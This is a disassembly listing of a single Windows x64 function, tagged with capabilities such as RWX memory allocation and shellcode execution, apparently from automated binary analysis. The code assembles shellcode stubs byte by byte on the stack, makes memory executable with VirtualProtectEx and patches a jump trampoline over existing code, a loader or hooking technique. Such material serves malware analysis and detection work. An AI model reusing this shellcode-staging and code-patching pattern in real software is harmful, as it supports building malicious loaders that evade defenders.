Function at 0x14002c690
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
mov eax, 0x4f98
call fcn.140046610
sub rsp, rax
mov rax, qword [0x14016c9d0]
xor rax, rsp
mov qword [rsp + 0x4f80], rax
mov rax, qword [0x14017bf68]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 0
mov edx, 0x7f02
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
mov qword [rsp + 0x90], rax
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x4e70]
lea rdx, [rsp + 0x2700]
xor ecx, ecx
call fcn.140034ae0
test eax, eax
je 0x14002d17b
movzx eax, byte [rsp + 0x270e]
test eax, eax
je 0x14002c740
call fcn.140033400
test eax, eax
je 0x14002c740
mov r9d, 0x10
lea r8, [0x14005a544]
lea rdx, [0x14005a550]
xor ecx, ecx
call fcn.140036710
xor eax, eax
jmp 0x14002d1a0
mov r8d, 0x2660
lea rdx, [rsp + 0x2700]
lea rcx, [0x14017c1a0]
call fcn.140045dd0
mov byte [rsp + 0x4d78], 4
mov byte [rsp + 0x4d79], 8
mov byte [rsp + 0x4d7a], 0
mov byte [rsp + 0x4d7b], 0
mov byte [rsp + 0x4d7c], 0xc8
mov byte [rsp + 0x4d7d], 0
mov byte [rsp + 0x4d7e], 0
mov byte [rsp + 0x4d7f], 0
mov byte [rsp + 0x4d80], 0x18
mov byte [rsp + 0x4d81], 0x61
mov byte [rsp + 0x4d82], 0xe
mov byte [rsp + 0x4d83], 0
mov byte [rsp + 0x4d84], 0x22
mov byte [rsp + 0x4d85], 0
mov byte [rsp + 0x4d86], 0
mov byte [rsp + 0x4d87], 0
mov byte [rsp + 0x4d88], 0x90
mov byte [rsp + 0x4d89], 0x66
mov byte [rsp + 0x4d8a], 0xe
mov byte [rsp + 0x4d8b], 0
mov byte [rsp + 0x4d8c], 0xe8
mov byte [rsp + 0x4d8d], 2
mov byte [rsp + 0x4d8e], 0
mov byte [rsp + 0x4d8f], 0
mov byte [rsp + 0x4d90], 0
mov byte [rsp + 0x4d91], 0
mov byte [rsp + 0x4d92], 0
mov byte [rsp + 0x4d93], 0
mov byte [rsp + 0x4d94], 0
mov byte [rsp + 0x4d95], 0
mov byte [rsp + 0x4d96], 0
mov byte [rsp + 0x4d97], 0
mov r9d, 0x2660
lea r8, [rsp + 0x4d78]
mov dx, 0x64
lea rcx, [0x14017c1a0]
call fcn.14002d5e0
movzx eax, byte [rsp + 0x2736]
test eax, eax
je 0x14002c8be
movzx eax, byte [rsp + 0x2710]
cmp eax, 2
je 0x14002c8be
lea rax, [rsp + 0x98]
lea rcx, [0x14017c1a0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2660
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x98]
mov rcx, rax
call qword [0x14017ea70]
mov rax, qword [0x14017bf68]
mov rcx, qword [rsp + 0x2718]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x2730]
test eax, eax
je 0x14002c961
mov dword [rsp + 0x34], 0
mov r8d, 4
mov rdx, qword [0x14017c190]
lea rcx, [rsp + 0x34]
call fcn.140045dd0
mov eax, dword [rsp + 0x34]
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x40]
sub rax, 4
mov ecx, 1
imul rcx, rcx, 4
mov rdx, qword [0x14017c190]
add rdx, rcx
mov rcx, rdx
mov r9d, eax
mov r8, rcx
lea rdx, [rsp + 0x34]
mov rcx, qword [rsp + 0x38]
call fcn.1400432c0
mov eax, dword [rsp + 0x34]
mov qword [rsp + 0x40], rax
jmp 0x14002c995
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
mov r8, qword [rsp + 0x40]
mov rdx, qword [0x14017c190]
mov rcx, qword [rsp + 0x38]
call fcn.140045dd0
cmp dword [0x14017bf64], 0
je 0x14002c9b3
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [0x14017c190]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rax, [rsp + 0x4e70]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call fcn.14002b7a0
test eax, eax
jne 0x14002ca01
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x14002d1a0
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x88], rax
mov rax, qword [0x14017ea88]
mov qword [rsp + 0x78], rax
mov byte [rsp + 0x4da0], 0x48
mov byte [rsp + 0x4da1], 0xc7
mov byte [rsp + 0x4da2], 0x44
mov byte [rsp + 0x4da3], 0x24
mov byte [rsp + 0x4da4], 0x20
mov byte [rsp + 0x4da5], 0
mov byte [rsp + 0x4da6], 0
mov byte [rsp + 0x4da7], 0
mov byte [rsp + 0x4da8], 0
mov byte [rsp + 0x4da9], 0x49
mov byte [rsp + 0x4daa], 0xb9
mov byte [rsp + 0x4dab], 9
mov byte [rsp + 0x4dac], 0
mov byte [rsp + 0x4dad], 0
mov byte [rsp + 0x4dae], 0
mov byte [rsp + 0x4daf], 9
mov byte [rsp + 0x4db0], 0
mov byte [rsp + 0x4db1], 0
mov byte [rsp + 0x4db2], 0
mov byte [rsp + 0x4db3], 0x49
mov byte [rsp + 0x4db4], 0xb8
mov byte [rsp + 0x4db5], 0
mov byte [rsp + 0x4db6], 0
mov byte [rsp + 0x4db7], 0
mov byte [rsp + 0x4db8], 0
mov byte [rsp + 0x4db9], 0x22
mov byte [rsp + 0x4dba], 0x22
mov byte [rsp + 0x4dbb], 0x22
mov byte [rsp + 0x4dbc], 0x22
mov byte [rsp + 0x4dbd], 0x48
mov byte [rsp + 0x4dbe], 0xba
mov byte [rsp + 0x4dbf], 0x33
mov byte [rsp + 0x4dc0], 0x33
mov byte [rsp + 0x4dc1], 0x33
mov byte [rsp + 0x4dc2], 0x33
mov byte [rsp + 0x4dc3], 0x11
mov byte [rsp + 0x4dc4], 0x11
mov byte [rsp + 0x4dc5], 0x11
mov byte [rsp + 0x4dc6], 0x11
mov byte [rsp + 0x4dc7], 0x48
mov byte [rsp + 0x4dc8], 0xb9
mov byte [rsp + 0x4dc9], 0x21
mov byte [rsp + 0x4dca], 0x43
mov byte [rsp + 0x4dcb], 0x65
mov byte [rsp + 0x4dcc], 0x87
mov byte [rsp + 0x4dcd], 0x78
mov byte [rsp + 0x4dce], 0x56
mov byte [rsp + 0x4dcf], 0x34
mov byte [rsp + 0x4dd0], 0x12
mov byte [rsp + 0x4dd1], 0x48
mov byte [rsp + 0x4dd2], 0xb8
mov byte [rsp + 0x4dd3], 0x33
mov byte [rsp + 0x4dd4], 0x33
mov byte [rsp + 0x4dd5], 0x33
mov byte [rsp + 0x4dd6], 0x33
mov byte [rsp + 0x4dd7], 0x11
mov byte [rsp + 0x4dd8], 0x11
mov byte [rsp + 0x4dd9], 0x11
mov byte [rsp + 0x4dda], 0x11
mov byte [rsp + 0x4ddb], 0xff
mov byte [rsp + 0x4ddc], 0xd0
mov byte [rsp + 0x4ddd], 0x41
mov byte [rsp + 0x4dde], 0xb8
mov byte [rsp + 0x4ddf], 0
mov byte [rsp + 0x4de0], 0x80
mov byte [rsp + 0x4de1], 0
mov byte [rsp + 0x4de2], 0
mov byte [rsp + 0x4de3], 0x33
mov byte [rsp + 0x4de4], 0xd2
mov byte [rsp + 0x4de5], 0x48
mov byte [rsp + 0x4de6], 0xb8
mov byte [rsp + 0x4de7], 0x33
mov byte [rsp + 0x4de8], 0x33
mov byte [rsp + 0x4de9], 0x33
mov byte [rsp + 0x4dea], 0x33
mov byte [rsp + 0x4deb], 0x11
mov byte [rsp + 0x4dec], 0x11
mov byte [rsp + 0x4ded], 0x11
mov byte [rsp + 0x4dee], 0x11
mov byte [rsp + 0x4def], 0xff
mov byte [rsp + 0x4df0], 0xd0
mov byte [rsp + 0x4df1], 0x48
mov byte [rsp + 0x4df2], 0x8b
mov byte [rsp + 0x4df3], 0x5c
mov byte [rsp + 0x4df4], 0x24
mov byte [rsp + 0x4df5], 0x48
mov byte [rsp + 0x4df6], 0x48
mov byte [rsp + 0x4df7], 0x83
mov byte [rsp + 0x4df8], 0xc4
mov byte [rsp + 0x4df9], 0x30
mov byte [rsp + 0x4dfa], 0x5f
mov byte [rsp + 0x4dfb], 0x48
mov byte [rsp + 0x4dfc], 0xb8
mov byte [rsp + 0x4dfd], 0x33
mov byte [rsp + 0x4dfe], 0x33
mov byte [rsp + 0x4dff], 0x33
mov byte [rsp + 0x4e00], 0x33
mov byte [rsp + 0x4e01], 0x11
mov byte [rsp + 0x4e02], 0x11
mov byte [rsp + 0x4e03], 0x11
mov byte [rsp + 0x4e04], 0x11
mov byte [rsp + 0x4e05], 0x48
mov byte [rsp + 0x4e06], 0x8b
mov byte [rsp + 0x4e07], 0xd8
mov byte [rsp + 0x4e08], 0x48
mov byte [rsp + 0x4e09], 0x8b
mov byte [rsp + 0x4e0a], 0xd3
mov byte [rsp + 0x4e0b], 0x48
mov byte [rsp + 0x4e0c], 0xb8
mov byte [rsp + 0x4e0d], 0x33
mov byte [rsp + 0x4e0e], 0x33
mov byte [rsp + 0x4e0f], 0x33
mov byte [rsp + 0x4e10], 0x33
mov byte [rsp + 0x4e11], 0x11
mov byte [rsp + 0x4e12], 0x11
mov byte [rsp + 0x4e13], 0x11
mov byte [rsp + 0x4e14], 0x11
mov byte [rsp + 0x4e15], 0xff
mov byte [rsp + 0x4e16], 0xe0
lea rax, [rsp + 0x4e17]
mov rdi, rax
xor eax, eax
mov ecx, 0x51
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14002ce2e
xor eax, eax
jmp 0x14002d1a0
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0xc8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x14017c198], rax
mov r8d, 0xc8
lea rdx, [rsp + 0x4da0]
mov rcx, qword [0x14017c198]
call fcn.140045dd0
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.USER32.dll_SetCursor]
mov eax, 1
imul rax, rax, 0xb
mov rcx, qword [0x14017c198]
add rcx, rax
mov rax, rcx
mov r8d, 8
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140045dd0
mov eax, 1
imul rax, rax, 0x15
mov rcx, qword [0x14017c198]
add rcx, rax
mov rax, rcx
mov r8d, 8
lea rdx, [0x14017bf78]
mov rcx, rax
call fcn.140045dd0
mov eax, 1
imul rax, rax, 0x1f
mov rcx, qword [0x14017c198]
add rcx, rax
mov rax, rcx
mov r8d, 8
lea rdx, [rsp + 0x68]
mov rcx, rax
call fcn.140045dd0
mov eax, 1
imul rax, rax, 0x29
mov rcx, qword [0x14017c198]
add rcx, rax
mov rax, rcx
mov r8d, 8
lea rdx, [rsp + 0x88]
mov rcx, rax
call fcn.140045dd0
mov eax, 1
imul rax, rax, 0x33
mov rcx, qword [0x14017c198]
add rcx, rax
mov rax, rcx
mov r8d, 8
lea rdx, [rsp + 0x78]
mov rcx, rax
call fcn.140045dd0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
mov qword [rsp + 0x80], rax
mov eax, 1
imul rax, rax, 0x47
mov rcx, qword [0x14017c198]
add rcx, rax
mov rax, rcx
mov r8d, 8
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.140045dd0
mov rax, qword [0x14017bf68]
mov rcx, qword [rsp + 0x2718]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov eax, 1
imul rax, rax, 0x5d
mov rcx, qword [0x14017c198]
add rcx, rax
mov rax, rcx
mov r8d, 8
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.140045dd0
mov eax, 1
imul rax, rax, 0x6d
mov rcx, qword [0x14017c198]
add rcx, rax
mov rax, rcx
mov r8d, 8
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.140045dd0
mov byte [rsp + 0x4d60], 0x48
mov byte [rsp + 0x4d61], 0xb8
mov byte [rsp + 0x4d62], 0xfc
mov byte [rsp + 0x4d63], 0xe6
mov byte [rsp + 0x4d64], 3
mov byte [rsp + 0x4d65], 0x40
mov byte [rsp + 0x4d66], 1
mov byte [rsp + 0x4d67], 0
mov byte [rsp + 0x4d68], 0
mov byte [rsp + 0x4d69], 0
mov byte [rsp + 0x4d6a], 0xff
mov byte [rsp + 0x4d6b], 0xd0
mov byte [rsp + 0x4d6c], 0x48
mov byte [rsp + 0x4d6d], 0xb8
mov byte [rsp + 0x4d6e], 0x33
mov byte [rsp + 0x4d6f], 0x33
mov byte [rsp + 0x4d70], 0x33
mov byte [rsp + 0x4d71], 0x33
mov byte [rsp + 0x4d72], 0x11
mov byte [rsp + 0x4d73], 0x11
mov byte [rsp + 0x4d74], 0x11
mov byte [rsp + 0x4d75], 0x11
mov byte [rsp + 0x4d76], 0xff
mov byte [rsp + 0x4d77], 0xe0
mov eax, 1
imul rax, rax, 2
lea rax, [rsp + rax + 0x4d60]
mov r8d, 8
lea rdx, [0x14017e808]
mov rcx, rax
call fcn.140045dd0
mov eax, 1
imul rax, rax, 0xe
lea rax, [rsp + rax + 0x4d60]
mov r8d, 8
lea rdx, [0x14017c198]
mov rcx, rax
call fcn.140045dd0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov r8d, 0x32
mov rdx, qword [0x14017e800]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14002d12f
xor eax, eax
jmp 0x14002d1a0
mov rax, qword [0x14017e800]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x30], 0
jmp 0x14002d14f
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0x18
jge 0x14002d179
movsxd rax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
movzx eax, byte [rsp + rax + 0x4d60]
mov byte [rcx], al
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
jmp 0x14002d145
jmp 0x14002d19b
mov r9d, 0x10
lea r8, [0x14005a574]
lea rdx, str.Cant___from_Res_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x14002d1a0
mov eax, 1
mov rcx, qword [rsp + 0x4f80]
xor rcx, rsp
call fcn.140046670
add rsp, 0x4f98
pop rdi
pop rsi
ret